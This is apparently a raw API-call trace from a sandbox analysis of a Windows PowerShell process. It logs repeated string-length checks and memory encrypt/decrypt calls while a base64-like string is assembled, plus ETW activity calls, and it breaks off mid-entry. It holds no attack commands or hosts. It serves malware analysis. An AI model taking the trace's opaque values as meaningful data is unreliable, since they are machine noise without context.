(param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5f15\x970b\x7aa7\xb280\x5364\x7e85\x27b8\xa34d") returned 0x28 [0136.178] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.178] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fdrD") returned 0x28 [0136.178] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.178] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4") returned 0x28 [0136.178] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4") returned 0x28 [0136.178] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4") returned 0x28 [0136.178] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4") returned 0x30 [0136.178] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.178] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fdrD0㱫蕬ऴ殑㱀ﭯ䄷") returned 0x30 [0136.178] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.178] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4\xca6d\xf237\xd3e0\xc4d7\xa78\xd76\xf7d2\xdd29") returned 0x30 [0136.178] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4\xca6d\xf237\xd3e0\xc4d7\xa78\xd76\xf7d2\xdd29") returned 0x30 [0136.178] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.179] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fdrD0/蕬ऴ殑㱀ﭯ䄷") returned 0x30 [0136.179] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.179] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4\xaa02\x95f6\x9e3c\x1a2d\xb215\x2ceb\x736f\x2b9a") returned 0x30 [0136.179] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4\xaa02\x95f6\x9e3c\x1a2d\xb215\x2ceb\x736f\x2b9a") returned 0x30 [0136.179] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.179] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fdrD0/4ऴ殑㱀ﭯ䄷") returned 0x30 [0136.179] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.179] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4\xefd6\x8552\x434f\x7323\xfb7b\x1d0\x4c02\x2d81") returned 0x30 [0136.179] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x14d\x300a\xe4bc\x4ef4\xbbc4\x3e8d\x3122\xdafb\xe434\x2141\xb33\x9119\xf6e9\x1ce\xa4bc\x573c\x3f86\x97fe\xe975\x5a64\xabf3\xb0a7\x2251\x275c\x5026\x3c41\xf624\x832\xaf51\x28d5\xbe94\x71e4\xefd6\x8552\x434f\x7323\xfb7b\x1d0\x4c02\x2d81") returned 0x30 [0136.179] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.179] SysStringLen (param_1="lgR/vkRCejqA5OiPc2cNslXoWu5JFbTLsnx3fdrD0/4=殑㱀ﭯ䄷") returned 0x30 [0136.179] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.179] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.179] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.179] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.180] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0136.180] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.180] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.180] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.180] SysStringLen (param_1="") returned 0x8 [0136.180] SysStringLen (param_1="Y") returned 0x8 [0136.180] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.180] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.180] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.180] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.180] SysStringLen (param_1="YW") returned 0x8 [0136.180] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.180] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.180] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.180] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.181] SysStringLen (param_1="YWM") returned 0x8 [0136.181] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.181] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.181] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.181] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.181] SysStringLen (param_1="YWM1") returned 0x8 [0136.181] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.181] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.181] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.181] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.181] SysStringLen (param_1="YWM1O") returned 0x8 [0136.181] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.181] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.181] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.181] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.181] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.181] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.182] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.182] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.182] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.182] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.182] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.182] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.182] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.182] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.182] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.182] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.182] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.182] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.182] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.182] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.182] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.182] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.182] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.183] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.183] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.183] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.183] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.183] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.183] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.183] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.185] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.185] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.185] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.185] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.185] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.185] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.185] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.186] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.186] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.186] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.186] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.186] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.186] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.187] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.187] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.187] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.187] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.187] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.187] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.187] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.188] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.188] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.188] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.188] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.188] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.188] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.188] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.188] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.188] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.188] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.188] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.188] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.189] SysStringLen 